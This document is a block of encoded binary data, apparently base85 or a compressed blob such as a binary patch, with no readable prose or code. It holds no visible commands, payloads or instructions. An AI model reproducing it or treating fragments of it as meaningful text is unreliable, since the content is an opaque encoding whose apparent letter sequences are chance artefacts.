zMKLOz=xfo*%Y1Xpf$~ndI?EmjTGorEKic2X#(%F~n>5$!`7|7y2HQ3!7ir6vrH?kY z8uqQQ!L$Bfn-=&fSkL=0>1Er_xMOX&anZ)O@3!WAW~br+T$|u2U)p|Xx=dg?eQGCM z>3CXBuJ-xXOL)b1*RLJ*C1^V=vpLOk26?s9i`AGUW zID4x1oSl6^?~iU!Y_j3OqMObq@l|l-yKET8Vdz}pX>jbt#mw978~@F+1#Xc|^8S&@ zR`i?oX?pO*p)ob%lF@1yy3tqrd|$XK;N)A_stK^0l70=pVeN%iLgL!7pqhtzgh_sW z6SEcv)x$T1?Xs~?c|QE>0AB>;em%^KHZqmIz?QFeWt)?^0mtDpYPGwmdu(J4tDcBO znzzX@O#kGi<)o#<$j^#;x(aPTJo~H3M^>%sVPt=Z|+Qo9U(_=ye z)0rG5gv4{5xs9fAn&-=$F&5`s3aUrFF?*BDptI7vDt;8x$Fe#oeq1}Y-=?4mE)It= z?7&3&j4~whV0snA+wciDTwq@3P)zWGwwxJ&&$CPOM_S;-Pu~0Lx<_F^EK;}x95|oG zcuO?`l%3N)B5P$c01y9&&#|4@yP?mk$}7%p*x|Q@BVOVxj1_k~A39?&*kvQR$_<~X zA6{loA49sM8$4_qTOSRA+Xii~>#5!7Fxs)1v+Y{o@!P_6aAaHJep!7BXTi_3W`0@ik3sq&ON$xJ|)2(+7ee$CmTg?R3+p>@a20bWJh)#!+b_S$QMa zNjftexNggMt+bH4>WP`O9W{cv>Nd`b7t4pr4BXeI|8-8kp>%vvRzD;(m_r`Q1+P{; zWedNC8;m2LWPENrUOnFhN{q(*A7$}g=i@fTkIf2(%ad@X{C!3~UVJ)b9Pbu~2NHkY zM&D;C%*6aQ=f~iT^=Gr#!+M8HUOAn~;Y`{@!3M(`qAqRH$mOW&9sxdv( z?VpCFb<@Q=OG`KPPS$y7M`% zkC=&m-IS-*oqe~(XgK{R`RGlwU4Pi+1UxD9W!e#s8bc{q3L^%&l$=n>mMC&oBl9$&TD zcc#~;ZR07V^#^X{ufn6e724as{7K|znU4XHCr;61>=?Pq#u&6$Mz(7L!$JphlBM*f zec^@hrTW(U{dVoxP(GneAuN4x1G0n!uM(eFLD^3LllPtHXZORRXePVi>k&;{?B z7l4Y*C(>em!g7=lA_=?!75-SnshyL*>!IQ!GCn59RbtAV?}!1=gS>^;JaK{I;oAtF z+SY2Rl0pDEf{t^CElu&p+o0Cv^o09Vt}<6V>9h@G6z(pp_r-Ifz2sHkw&{|Vzhn=E z8u=vRMv)7I=vKRlwC!l6A2>nAK~CfaS{MQesVeP{<)qA#4Rc%=iuL@MYsxktJK{)7Jr?%`^-1$ORdg_X6r<4^*$ zTa=0syh{i5dq8<(_>-pC`!*U_S$venCGs^<-r!{PxOU-~9LR&kNb+A?` z$HSvo&vRU5RVilhD7mWFDZ-NWqdyk7G*IOancjPc`tbJ(4Ml)Xyi{A=%b&yEzrW^F}}@c<=qcmUEXrgTD%Y^x&=wk)NFv&U9=#Ga$kif1Y`?1G-S#C3h3Nj6ElX#Yw9!v{7y1?_m}M~ zdEKt=j#{tB4brT|rVMW_JGKyQIXv5jASZ3a0GC;nb0nokBtE)k-z==pBZ!ofzs4j~ zD8~T>N{S#Ea_#O4_G5h!d32lCu zR_xQ6E4d2JkdX72>nOJsq&pjnoS)BW42Y!-7ZY$L8(|x&a7sdWqsHp(7=tCbmxH(KDFTUtvMGt1^k#M0#SQ9yfZnGKic#LPopWeL zNzyoIe7h+hpTwd__0b40WyK_7foN8(_pI4C8ag)}B;zo9Jla|rWAH`NnxYKCO-()T z-y#em9Q!Rv;AZ1P zhO)i-6=Dw{xHpywz`@Ej55^b=L9+q2 zzqZ07;Vj(q(3{KPGreoDms9zgy|KL?!v*xCmUaOjl2zvn$!MWP+%F=y2XuDa5pU4D z0`8^2Qp}D>j@&8Io%dm4_$!u+5$>WfkWqw%ZP-}FAS5Dh#vwTNWDx7VxaN*?4zbcH z{4_j`E*iCd^qCRb=_GxT*BMAusU=ELI(tb==0b*Od>}DCti`!$FwXN}{0l(O%R@$} zguxhC;JAK3S|*IfY4pA43%u-Mok}hym^~+d2>)i$mUY2>p~(L$;GF>8X|89sh=X>2yBfS5n(1SSO@;$am^<|^!t&63fYlIsy*itTCu=ckI;BpzLV z(GRiJwN*-Mfw=zbrk1@3bxv%*hN0;Uoxpd zYC7BV?y*+qpb%EEt4)Ls2?PL;k}8yTbpW|g;lzZmaS^V@APFq9S!u-wXvz~uGm0g$ zo*9h>i?EpxFjdq)REk85n}5y_4+d_L4Lb)!jzJqCC*q8m>Slp}!JS{?F#36Yl=~~p zgFsC$UVquv_#;A#es=+^ZnG9PsNn@kYi)ToYZoGAU8e%E=2iS(hwA&E3LPe@xNJea zlYgAj$swsBpZ5;2F`{XbJ12ts&_K>i>83!_`Ug-FK{Qz#erDgehqTjZtB2vH-fYi~ zFz~7WD!k0P%%zd=e`m0KwLL(CQU{$b@kP_ePun3)s#^7X6^`&;|Mbhw((kVj5%*l5 z1lTNjA$#7pbNCi24qpnQZWUmAx$rdC#Rp(jmN??p`9?m}s>>^LQB;ciGp}p8tu)~` zh|b!r$ri*3mVB%r(gq+}PRv(`r0sNCvLdycpaqx{$kwcaR!sZBygc;e?mtb9(<`xW z$JxBY@`uZEE9c6?$aP(1JjZAC z>q7_oridfpj+|l_G;M9)o-ma_A9-3aL17-6x~L4~ois4Qk7SK(5>ysmuOgnXX;|0g zm4v4eR2Npey6NQN*zp8U_jeC(zMD63=s?(DQitV96<#h5Q==+n#cQ#sws-O#9bWUz zOx_b)%YwriXy_}Sm=ECmXem}=qrcTm0~%{Ws_AAIK9sBimSWrz#$2uq#Lb+r9Es34 zPR*b&hC1;X$3w?Da1(CWb(8CapXg)w@x)%OYVzn)C{n8na#%K*8rU6p{wv3#osxYG*1r<~e9MaQF2w5gvh1J0S-5JOh?XNxw0S)xSN?JCs zqJI1geajXvxgyJ)$mN$q>fMOmRr7?3;6Lo$LY*wZDUeP<>FGbwHf*qE>YrKt@XDAA z@?N*7mO!=4yxDsoy^TWg2sA(*-82#JJ;ugPw@Y#e#|cp$h#2rRN5*nP&2w?zs=7ul zXO9az5)6b1`eib8vyQJ+{fx>7MEmmH0ZgGP`TZNx1EN@*aAz1gz>nl-A9)P$lb#<7 zvE^So9ZG|oTAD6Fans^@rf>}5tz2TNs0_hz{08?N|GYiH$Je$^nloVjJ(mSgOLiW^ ztkVy)j6`XU?W&q^f#}`-fc(-PhNo;Tk74PJO#3ENp)sS-HaRE`GlP`nu~ktf8gH*v;XGBi)80Ir?j%*e zwcnAQrnauj{FeAN{z7n90LGf9s6_X&o1HyU%QhUxIi zw1fefmuYS3v$U2|nR1l`IB96lM4h5Qgt47&j_-;fu#oU0-&*O;vV%?Yq2$E-11y`$ zQpPk5Nieye&-65({uI&v#C4FprirriTE0^E{9{Hh=xM|T%e{90)P00;$(B4@YduFx zfiNibh}zcH-3h7V%EopY<#4gTI_~;=HYJ-zrU#blkyTN@p5Y7Y8B0G=?DxGnKRfbl zGLmF`_mtK?f6I(PE5{{}QTB-7>j!EjKmA!hx<%ybpy?3ymq{{rsB`rsxVLsYy|;(< zC0HBOH<-bQq=f4OzXxs@>rj=#WXJEs&hJI_4a2c2wjU~F#yk>zwS}X(pDz2yn+dNw zWazH7_%oy2x486)rPEy3_R=SE0(dKZNGK-=_CxNYQ;FzG5@^^-+~a>8Ib`q3!wT!7 z3~Q%l$y$wcw-Y)c_h-~|GqueI2(V+mI zf>S(eAostzvl#mct(ek>N(ym;Bac#bkSn;EAZ;o{>TDJPDIeBCPA8o{?e9&II$8-6 zGoUhd1MepaMbu$F+Xu_y$t6Q>NHc>(dpz*(3ZS*CVpMDib3i0hudX3%{~5kl(}iC>99?@E z5f*k_HyrzQz{dv?BrYcQuM$osXUVI0;ysvgENBm3ZrIds>LAb@GuzR>Pc%QOdNpPM{9=c>OO*mtE`c+B+*I7 zHmKJlU;F{*^Ow5eC%5GNndTht#TH%O{^)92E<9FCbK0QqR9U;&je3o4Z;m%w7t=h4 z9>bu=%LbV?ix7Idi6gP+7yGJQquqfs{y9MuklaIHl1VE@Y!xPZiOQ>-$C5R)HD<&4 z1ezv)=IaJ3Ss$0WGL9>)5-I86d527BHoY+HniHUp7sq*4u9@8Nw99*nr6;psUW@rK zHaXcHGT5k@C{g}swZEQX`wKox*lZrdkU|9_KE@9)67({t<8&Z~nlGQPZJ8XJ3!ruX zaEs1KPRxCrG5l{Kq$$k&Alqc8FUdT^0p!uwDO>D?xab`MHO|DwGJ?dLjm4`56xO;a(r9p@X(l#^e2 zr97PTqhgTZ4(H8{FKOARi{R_Q84WG!Dd2?Z1o4rBVsqg3k7Sh+mlKu<&NDZ`&^_yG zyEgI=bUNW#t${v_LC&1eM050rPA@Fe=Jyq0**)i#OYhrZC?^w)o5D>AowtlJK?Fjg zWISo}1C>{#dz~#BEWqnQbHbf}sojgD@`ZrV}G0N=nFCaMal6$JArE@lGPLn1xCDgpDQm0Kd)Nsu?NBZ<;@=Mo1mbnpAa$sQ!BNSOkKsaaUjWbV#Es7eW z<$X-rminYtP&bbiti`246m89Ef=lhS8foaUV}S-}yv53iKZP(^bW=QZxyPFV+iC+O zO*6AvhKmG|Sea?M37NmQqyuosx9yzj{iFaw4zXrJ^izxz7?B>MH}D{)Rc3Sv=FFii zv2qG9{kR$Gpf{jpict@^G+!yjNy^-R**3;9e&BadwbnXS89 zArgNzrU=6wE%BONEh+{jr4>8Jm&7ZU?+e`oKnm9lijranc4HuEO z?ENh1(teGG$RIMozA*j20ggLMxg{|*Q+Sz^nuc;HeiF1*oQu>Kp&zM7*+BygejrtI zHFoEvp#5j=zxcuN6qe@*_)c8v0kG;p=}}}2&+faONef9urI)qEn_2UGAgX{}Fvwl| zxi`Hd-edL}HQ6C4u*c+fdkwx;vbf3eVmmZGYam3k7TFQ};!U;gCn;%IEeP$Ph2+_a zglSy7p$==UHKJb+ssnOt`&O+5(TGDUmDFK^wP8U(a#oy>Zd?=hGbd6o(vU)E{OPuNIqN z){8dUvQ&VjMmhcl2d4ld&0tSOZS{4n+uwCss3#@{$an;uuJ)g#*dnoA$i6el_Q z8-Cgvupmb})FRQy{x)bPZ2xKW2mAf3t*@89Uauhm%)0}+GDoCR5KyaXI>1`67I+H( zz#8xt@D^ZqPqxmlk_)D{#e(X_9eZBbm#`BlCG8g3WOtIFw7bZ0{&Rop*sfi!W7n=& zl7!}X1QiFr!61ixW4sjx56M~z7Yc6*s3R&611YeJET96Q948li0kL2qj3Q?6jv1hl zgMkY`nmABsV*^V7!2<*lAbdRGhaCJcf*;WMVfDihML$IO!G@wbiZoC(Mo|_;s-l{r z7Q7&O5jh!3!O$653{9A!k`N7qun0{dG=+>1vLOfvK@AAX3GyN32qutnMM@S@ijZQ1 z3JG|6WjDp%p!j1~8>@cyT+9|R#gN_YqRAjB`+jlLXtb;NP-1Yk|s$8fP@G;K(eI>NeoB`a6|{SBN|`;JfcD!X~D=4 z@-Sit9Y#W6qzxk#FrtL?F~YsCF)2|*6H^RI zkbxXcJP$rREWv>X0t`U~J8WR~1Q9#X>>z_o4`e=>E@W;?y%vC4Pn@Dgbhe)fTM;q$e1FDE$B%NL~2L?4SCQ|0vfVV zL4y-C9MQ0Zh969rK?ZWnKn4;sJedJz1{8=O!wA;ULWU${5JHBV9GnmX31Ud&iWsKE zuq1{QeEh&i3Vg)jqYNKg_>gfzK7!~0g9osH0SSf{5IQjQ00RPExZ{O6UVy+0QeL1@ z@&XJB;D7=ipnxP4P=o?fNLp~=2X*RWyu)jynOsmVbXj|BHDR&oy^Ym=I=dtzqxW)`Gi|OkTibo{lzof6mbfE-<(AXRwp(h^V_Zw6 z(}ca<>ScLL?Ov>DbIrZ#m#%!ZZFLsMj;fY##T_|%T`EzjJ}VJ?`?qc~_lURDcKEbq za?gEhbE8S0%YmoKNttESw3Bnmob&Cu={apHyUHi~dlW~FP313)e_Fq7-cGr#`&y-AkiJ7ua z4$Ft-$w)02gcZ~bFpc+7nS6@Yfd30pDnKoLFv_5_KUqnF9Dgh`X;N?nCtX=G~;S= zlA9%ch~pWte3h%uI9 znPhX+?}o-l`(nFa`Cu|t+iN*jont&%F^;#?%&7V1v{f%t)@yTFF9f;If%S#DN8h?> zCd{wo=jyE9S3c^iYq{sszV*)6+_=hTYbuT!$JjYDjOD8wo79EiDNZ|IPGcTZm&GYq z-86sJ8Jm^e?~7y2qT!nR_Ubsj)yILbIAQLl=K8YwNTtV7i(x-a*w^;Fmv3y^y0^>q z4RqhwYtJ@sV7x4^v!`^T(`l@Gtn_QdweNgk`8HMQ@$HrD*Q?G^7lJ1_IXStGSJuFj40R);yNcm{ z&gaWtUUkad15cBym{DU>b4@L~%-?%e@5mc%){Un5oX=mqdV9(L;<^UPOnF)IWlXQS zS8crt*RP+icD)hT7q`;C%J;fezSyi2mQIta^4aQiO0GHSWM;})C3lQt%#7s|;wDdS zT8_@u8ELyxd~z3Z^{VNRtj=?CJt0bB`7Dy>a6OZph%7l3VGAXt3Sx-8m$6vZ$+c{w zwLNar-k!GY^q9(4ag+UGo642dd6v#vx5_cg>qpib(ditwKC;(7K3tj76nC4qwpQ&H zUm5fK@g~J#8ypVil_+LC$w?RDm2=U`9j-=_Va{Hx%R_AdQseRbFr;}@0tJ1%bovMD6_=0ML@JibYlHcPvE!(OXZTU9VYu;w$tvZfV z700Zd96L*P5OY2;)-a9_*OhZjr>|nJ6%boybsi2IIepPL;%RSpv|sXaCqFvJ@vS7{ zoEom4HDd2&xof93-kd#blfq%i+F|EDc2TF|l=WsZ#<_Q0}QSC6R^N#QzBROyEzrN?W3PlBloyE1t3=D6m_ZeKfIzg`?vGsLahI@NkyJ;t)PT4^7%HW(7y`W%i8qncWzRE+Kk z&3ODAAk_>I)xA1p_YE_N6OFIEnnIeZ`2CXZ%_mQraI3gBrBlU0o?a`xC({c4$!S~Pu-KN{W&g$RwY#sM zmgVeo%|2^mv#;ZrwJ&FX?e2wL&-f3J+1dA+ebzqgXP@WdZdgnA7@fQK-&(izr^nxxWw)H&?6~>8MH}{Q8J_Hw*VdPE z@;gH+a`w%>7+p&5YL+iHG=*XPSL`B&sM&Ql-nL&m`Lzpz+coXieEk?3)MF2wg*d#}n`m(puZ?QU|dRFO9_lAqJIiEVig&-Z$$$PttgB20wHOc5e8N-mJa z7Mlc65T%Dk8t?!?QIteW2qHVYHFAIpfHlBC1~{!i4LpHe3<2vv0t8q>Kt&TnB_M+i z2y>-L6>y5*B9`#!jKYwy4WJ>^0wgbF5cCDqf&)N!APWSdIAfN?bw?UG9Y`X991)1) z2NM8_@+dMv5v_=dB3IE6Q4olDKqLbqH;{;+5Tzi|5uzVMB^YvJXaPb^5CVaa7(z#c z0ua=L5KPhS;1C1=DL;@>hZHfS#H7HWq5yY5h`)hq16>@UB2pzG0MHviNe_6Q7@z|b z0R}%?ek>3ZLV}MRK1M!JWPA!h2ZRu%gOeF_z;gxiP#!2hcn%O{k0_`pDcG?yh7wJ7 zUUc@*X+y^f9Zsibi3^k*K+yt)0#F_RWeSuRa`c$N3UW%2b4Jb-KXL?+NW^i%?=p+p%OgJIpK!p!W_|Q*a*rN#@O}vm|C8fy? z0$_p%6A*BL#6$=tNCc3_w*)E()XNG$SkeMHt}LNq$q~L}W(idC0xgtyN~S2WiD7{U zN#5vUbtH)mNm}>;k|mI+kk}wWzzU9d;0PG=$WY7+M_4!lePF}}bd({55n2?*NE0JN zid2Eng$f9ZOxdAG3rSc(8(>871V!XT#AO2%z`_Y6oDA7v2s9-mW&~zv0YjZ`P(mFV zz+ws2j7%LFn8KA~f-w;Q2x(}61WU>i9)9rPl1B=%M8If=Bs;LM11nfEG%^afK^sW? z#IPP4c!C8J1ttj$4mvc^!386HUJ&sTaK(%?uB zNrt@9ks@y-UHXfeOjdJGrw*UGb~-2L@y@iptgbok7dYwky1vyuZ5Bf+DIu#Vkctbj znbOI+*$ou7GGJ*oP|i0s+HG>Q9=+6{Q&X6?mPNql}<9YS1~r%qPnHbqwBy^C*wmw zKq{}jnyD{6Wj5Xy&(6CU>9k$T(3twdG}rcbrA@uN&9?3B9Er&@x!mlWwnyE)*xh`1 zIom6a{i~<;Sxp@V1~N*>?L4CTyJ@-DEOyzB+wNp3C|>(;Y$1jM8P&Aw*s>ZSmt*(d zUP^m)x>outcB|%FZZo8+X;GJ#m4fxfFSpanIz26QT|)WnKCUi{fp~~;eo{Q#bxjb^ zj?hq0%7%e>Qb9pPHQa4()vT_)lb6+zrFZ8qV_n!Ud1zwJ2 zQ?E}i$3j3IDC4iV>+Zep`gOVZtE+<7{)#q>+j_?XyY}y9$Aofxk9NE)r=F~-KUV`$ zT|{q5^xa)ew zvP&#ESOQ5*@wN2ISmxKZrOx8cXJjt@xl5mu*_vx<>%gvWx1!k87dm@j zshi%ereN3C+LzhO(b?SfDcW91mqnJ%I$ze!uKT_xYu16XSvK|Ab#Gl>N{Lv?cA2HO zYx>;1bvh}f-D(+kor3knyPm5@vb1GiZoYVS9)DK;el^?gRm+^aek;4I*~R8>wd8BR zDQy?u8hE>BRJ)AIw&^&Qr6B5ZEW0}2ZgJPwHVzJ~FS1`Qv(4?d^T_hbF2_>FW9kbx zC$qhBXW8D;W#2N}{Y=kr$K=|!-ORPkT|49Hbds_wX~PD(w_u)dRhv-r}x`UwRB>95wMw>+|R zkG9Oc1CllOee189rF(5<{j3x`eMfKms#)`6uej;uT7GpK*!AtsX{$c|Wc9b4RXWL@ zU43qL*S1Z4nVg&~UCtJ_%*yXl@YM5V*Y1r>rUM7_Qw@lS~)WzG@a6ru2=#lKmaKC0dodyQpO9A4LE>n zgk%OD;DrPsOa*LUaRnA05Ed#-ppFTo(ZmFbm;e+B0mKz0 zD^y^`7Mc}FRy<)vONbJxkmCv}CKXJ_6kDc1nu3TaN)gx+0Wl)LgA{m3!G#n-M6rM< zqC{~66e@tC2`Gp>p@b(q@Wc`{Pp}h7K)@l;!vmBsf(K;rfUb!hFcAVKK)^&4ObEe5 z0G6=95@0MLQ{o6pXhA}W9S7)vM+uS~P(%avXaE@vSU>}cGysPrT#&@flK_GNdoW-G z3?KqR7`3pl00lGw2|VOL;tV8ikN|=N3OtahK!$|@vK*NYJmPpliP#V%6Cj;|#34aJ zA*pag2#%=Yh!xBcD8K=0n9beej;qAgxkiLw%dpqpSgt;(U#&8vsz6CVX_N^{Lkn=E z&Ersl0gXn#K*MkXsMu!mJzKTSWjTl!Ae>H&krLUKnR!Iu!NBiMmc`P zmzcs?;bxo`oD`GWsBk)*43|P4n+diJU|_RA69Gb(Gazg&{Y4wmrYNhL|h`I5OIVE8i-JV3LI3}pi+fO z6;zm@;#7pF_&_BHl^Uq9Fa!*SxH1G2Lp&KGh9O`WVudM9m?FoNGp1A_iXa3Cgs6ZJ zt{`ZDm?^5GXol!UsDo^fqD9ITQamX_sw1fCP}NjbRIb`l<)Cr_vI8g%pesN~01W}T z{J`L+jh`%jj(&oEko?Tx(*z$5_>AEbg%8YUiciXC#>a&oBlO_W^MRf+dW?El;K>0` z96U)pJyGC@G9*fA$BrE}b|SE2WQPDcHqdE9=Lwx5pu~}rM@|No$nnYfks?A0j+7Hd zJE}_ZkwFJFZq&?b7+^#V4>baKlE;%3JXzxj z8BbnMYMun4;eiHds-S5AO%V+YPLyB+CoXW30w)`wIe`Fl0)&$nCnX=&@Il9i6q?Y{ zL=G#OFhEI@05CBElQftBf{75+5Gu(MCoBoUk}8&bY6&wzNe`4%kpu%t9*|^9;v@+t zQ2_}XM|5xm2S?ms;z*PuNR0Hr2nno_93w9DfP@}Ape2nS9?(Mpiri78jUq?1iac?F z21M%c;)uu)Hin!rWysACB|~6_7(j><-Vjnnh!sMT5Hf`T3E4r&3VEDLaLRI`;^f3> zbz)%&Gqo8jU(Cp+%p{qa!DIuI2uxs@+(cxW!Q_Gl4-w#D0X(F5xPgZO^ni{l6xiX2 z9f<5efEUC8hD=K)N2Y}(+(801#Bk!sh!~z3U}l(u3mrNgh;-n=2`C8T=!NJd^>XCp z<%NYdu*iYS!6%0yKyZVMq$F^Vae)_E1aSpH1+gIrqyZdfGy%i~qzMopKw1Do2-si~ zt8j!L-4E6eB7O+{K>e8c0rLZfCE!5tsrUe9E7&wz9h*IlDVus_$-`HrB366W_bp@wdIrL4ufC1y5~Z z&_!ootah^x7He_uNuPbN=vB_XYM*03@hzjczRES_bbZ%Rf5oS%$xl;3kWsU*N_X3e zHSBivUp-y4hajVDE5>c#ZR=K^wsKZTy$!oO@Vkz`yVh^)38U@uF2-1#x5e)#+5PhF zMy@fB`yN*73TyyE;3zSAOmKhlF;3R6jK}L#dyilul4h(bsPF{VU67 zJ;tAXKd-iSa?@IuvoB_|e6bdHjFW%DV%BY}#!#|*D1}2rRIi*f(yjH@?29w1p&=cg zeb#!G@9EFJme=uz-lkMR#Cy5vWY&-_zP_?Q`8Qo_$@*SpxB?+e)wP^0q&tz`obk*+<>GUF=fF*j#IN@>-|Y z{JV`LB3YuwB>lUX#u~JNvp$emBW0x!c<5>e**wvyTU& z{95i>f4bPd`w%?MzFM<lXOLP9lfTR{jBa)LF`3wO(ITf39f#cvzd%@PRO zdM~VPcdgI0f_T_dmU8x8jtAPe-*w*|%h~se?$NFF+ugMlC_TouUETkY*;*FELgS6>LywCz`X$+MH))@NV$&ZpN`kKuc{ zVJ`%uv$KCYZdfl;RA zU!C^eS1h`o>Buu5Go~L*AlA(8`9{scP43?#>@LZNoTbZM(SsEAq5={y>^`&9v)U>)f4^<-cD3 z&D}KJoz;OdN@A+*j!iWtZ}hHRJiEyQV=(W5LF&uTS9~_n|0*ZvKjg2Njb-^_zl}-x zu;{Ymdky1(voCu6fqie+UHP47pTAzdm9x2dW6%4t_T<6-Yi*Tj_IYPx-R!ge`U&Ir zZrb`PcsjZ0EfA-D3`lVBMd>ey#WP9yxuVF0R zyEyw?ET@$J`Z)wo-f_L~H2ZAKyXrjfBquj7>|>1O)7#bS@mqVn_09FRtz869v(MFv zS(a0}*MD7m+eN?Qp0-ZT-%cz2H9LNPvHa+;7|!Z@B=4Oi=UB9lOD8UwOx7=3zxMm< z-=nQzIKHJ4C!5x}$x_k>Q>wHCqh2fRqn>jmXEkfSQPTHY8(A;O9EoXak(^64e%l^? zO8Z*gQ`+a1tXGpztzIgfWM(Rzt(X$O6>i!Cbev`O3&U!d$}W5E>Z!Hu)n>8Zqm);pxARrE)RJmRH8X0| zf4=3Pn;AL(^^q%Q<*RjiH}JHj#t`(tDN3zZl#l3*)e__(LNz~sxI#htZpUghm%d+mhs&q4}yNZ+u~H!X$?G4zw)U}b=voFbv@b_!(OSC?pusc1bcRI_;H>lWO%I{pL3wy*oEq zy|c*PHsZJgfBPx9>y0W{o%T^HQ|ztnPRku-9=o3BcJo*&(Z1Jf%2?&2l4`9RSg&+@ zk7)Z)xAo&UwJcN6Usk@$d3!6`$H9Jb?2?ggl^#DfOg>lX-vdvyFM6-|sHECkDz}%F zFRmtyvvy;!q)9v+4Rnho&L1cJ=#ZC9<4L&gL!M~qvzzaW{fR8 z@(`p+s#V&@qLKF5mvgjlt41F0EP^yiwWOL=FumNJmG)6i`ut%(@Xn3)!N|l!HK@b9rexa3UD`*t zlTn+hwR9$ZOx-!YIFR;n9cdp9lymde2E_+yANAO2-;27@&E05U<&H^TPwABOv2S5~ zl*QGnbc*z|wQ=?8+^vpNI#t;mSEqe3aZ}gP*!HSYauG;#&hN?R(mu*Ie79*2?$lfp-qo z>hx(}^t?-HpPY2kK5w#H>l;@qAN8cHfhRe=$Sc~%@$_gPWtT`?Y2O?DM*F;aT@tk? zFHB_W)vEE?8$Fgej7@H>d~w#*WLv#n>2z+i4<@p8o-h&0$h+N+fu+;yHNP$G+fqxa zCDqKR$!w`5)wnoYNi{QSF--edPy1?ZZ=-#b>y2_IeJUyX z?h)Y+%jd~c=GpVi8~ zN3wlrUreeoks-oPj+};2Bcn|^-P(wH%eKcR+#BtuwpA?sC~8 zTvh<$C&!Li0$hsd!DWadE-*3Zf`A|34SI6ZgClD22Nxdb1*BOLfent}3D^OM#k;`Z z5(EG)L|_Y)e9^)Ygm8rshBNSGh>H;}H}pUmSOf?m2Cl#w4$$b3Aq@*59xgjGTmUA) zMTv?DE+-nK6VRo)Oa?3=Ixb9Na3KPR6~LHb#q888PfGB9w0%Mcel@UVaif=d%A zkOVXjxB)~%2UWb_;-m~H#@N9{00wZGIdahv030cR!wfixfTM;tg7Ah8-dN)e3cMlT z2x1Epwzyym6I)hWdVXlBY3V`>k(L_Vz=0cPxKV{0M@4Qdaf1doQfMQKHmYdDs12Vs zp0t4gHuhkH25g+c#u#jD!G;eT2Z%wID6)8#EsK;aPS(J|8Xj0<2{rCeV+%DnH2{zX z7--mJKm-_2!Id}6SOP*6mOxlW3N$2WOsqV?iU_Psu`_*=uKJ!v#2S0WK~Oy8x97^xz{5B!t0&FftGZ7GZQ@ z&{Qcx6$w-+s`8TLgrqPmpaToQfFT4hw16Q2FpT(O316Jx3o^d=FLFSF7d>6fE?|&Q zfh`qyq5?Qi;KB_qqTqrEE_C3cg)Nw{MGv-+LW>G$(b6Kx5NH(GC_sQLYFRAFA^}*~ zAf4N&#I4NiiWqea)r@?MUG?-^m5`+{o z#u#D<2nYZG0Du4hFaZE;dyh-qe$2W%uHU(P73+aF+L5o&ztY7w+JG)huP+26A zU}WjkbVmQYFEc}mtj10)z3w7$gZ<7fu9!u1kTLy`9b{s!mLJwGhwODQC=dC1gK7`HnSB+X`As#)s`aNhA6*<={f_X{N9UtJ?MBI75X?D#@Cip zot?jAYTlaN2I1OZgGYlKwqg{6YiY=I=ZjQ9ZH|GkH68}3F1YDCc(QFy;uWHgU)7w5w?+}XK zF`3eEfgGxP0QEzQt{#9lMU(Oy zK)7uKX#NeP#*OW^p_+iPJz6$I(otmjc?I!#yo5P@KENE@E7|^O!XadUrm4C-h7Rc# zMsxtp#6Ob=Fk2e$)tF&#fR!C~9>C#@J?8Z07!WPG@oaL>@1AM)aIOH}#NZ}NdIVph zs2(tIuWhW4qCS3ox=?)vLONcMhinRwX|_6&j%yTva1kuQ2V7vjzxH*7@o1wCVCSpQ?Rhnw_;qBYR&i-2(O4$((*Q zH!(_Vta;n+X5Q%K+%w3gCOfeg_Zb{$LXeO;GX+Ze;8IHRe`MS%br2!uMe3jfpZtN1 zVi3S?w785%c^-fwrEK5~y@|lg3WJ?MS<`9CwZ7Q>!JZ5qfyvsYrBq>C_0+d;YPjNq zR93&Cjc8VO->OaT?AJND+)>3{56XYCfP}yrXV+-kuVdXrzJK7Zo~7#bLw#n}+Bo7U zQ+E*X(UnMn8avPm<7Yfsk(N1^^wbXqMWkR z{kaUr6fWhHr4KZQPGT@-!`meMSjst&BOB0kR6ugtpZGY{h%4jaYV4l#8?k$B-P2uL zDD1S=FxS*RqJTQ<9Y(O)N-IB1(h!V|Cc9L~OJo@V^;036C7aaz-F$O-9LBh4Ta@fo zA{j}9)LPY-_4Bf_mZsg{^D*4o`vVH_F)9G0OqRe0s`0F6*w(NY@;9FNod!XE@HZ-o zG17r0`f4nA3iA(%oyT5c zLSIMO8TAzl>eNQSQ}lg^a~JIze26vt8v|t~tD!l;w>Cl8LS+8?6seb6jJzn324S3z zY82jcshR-Hk-C=?xb~|ZC7hk(%dmsS@-NlSda^FK%O(Wy;#Ph2R}#2pYz^Z9D}spj zi6siuATVdh-`rf1HLQPw&y0CYN>nwg?-w)ZU^u#z%DtnqVHJ4XK>^Urv#F``5N};6 z5_QXQZY|wzf)BtSKjZv$*MRpOFm`(X=uh=8(<6R3fU$<_|9=+z4_N7i?;feP#VWu` zc$&FuE}6Cw#Mn<5CHCSIlX7W( zDh*%jPcHF_b!B-I$fz8$bjJNLF1|tiS@6?5ki@g4#_QH@b&P%Md1F z5HfDXMrFd3OO(J12gdy+Y<`NY0JQnr3Dno^|B``97+ZKjxv0i3NZtgPwkR=Ik>h?; z^Gh-=5oIbt6lH%ROO@^qR8ktlH5F{{i zLk3V~gQ$zHlX*Ea1s^PEs9kfi(556RF#2O7 zz^i|6u-uSj_SrC;hAb*Bo*l-wen?%pVq*Y>f}@ztd5nu1u{t*b8Xp+<;bV|QQRLz{ z_t;ftKc{MD1~6gT=hF)v|%2uD5J2OBT;d-6L`oSe~vkQJQCf3 z+zdA$PT3rl(H*?ZzJP&aKba9Jl9m!qHI&CDsXi2p6s>2n5u#b4GQiMWFz`XhzkQo zt6_Tz%6=1BR@+W=9`{B0Ec2wNt-N+EeZZm^h<)n;fZLC~bD0t8MrBRd5;>;%8B}PP zzb^To@$t?LL|asIMiC&frwQ3I)CJOyR;pUrgwIcMDAhB?Jkhfps?o7lw|9Aq4xa=` z8)?sIPBT&C=W^hQ@tN2?T%9Rh=HTzGc{Q%zE9hUee$!eLW!w|$q7?1Pq$T8X^#)Ht zyeeX`;1x?zSz&zuWnJ{%#z7W%wmv&BuJRsJ=XCi=F$c(eu2{j-lYTMQ2AN)8{hrh< zmhF~M#_HNm73C?qHUOdWbNf8G2E7pY*8wCdDnBaFuQn@b&Ym4R2yBW0&pLxIXKdQA z+0y1e1nps2B#8jQ-ZejfImlXT_qrtPcU@ep1P!sv;1PnQ6Qpq%mE8jSzWnv>AnbMe zhx@&G`f0>eh^iVO#s{u0xmB;ni`VMqGKdT$#eico zoe#NwJ=zYpL`T3>h{LmhW3O=Yfghua?6fzse){|T1mIvU#_jEv!N9IFskm_wKqYpa zJ4#$~wcyDdNS-jka#L5@5~tGNV>NOx16ar9baC|({RLV3#>Fa-;U=R<8xMUi(@Wq} z{lEmdjWW@Vl2Fuy)wA5=EoMzn;w>@SVDW040?)yptb8We`?VXW>AVSxKyN-KN~4H% 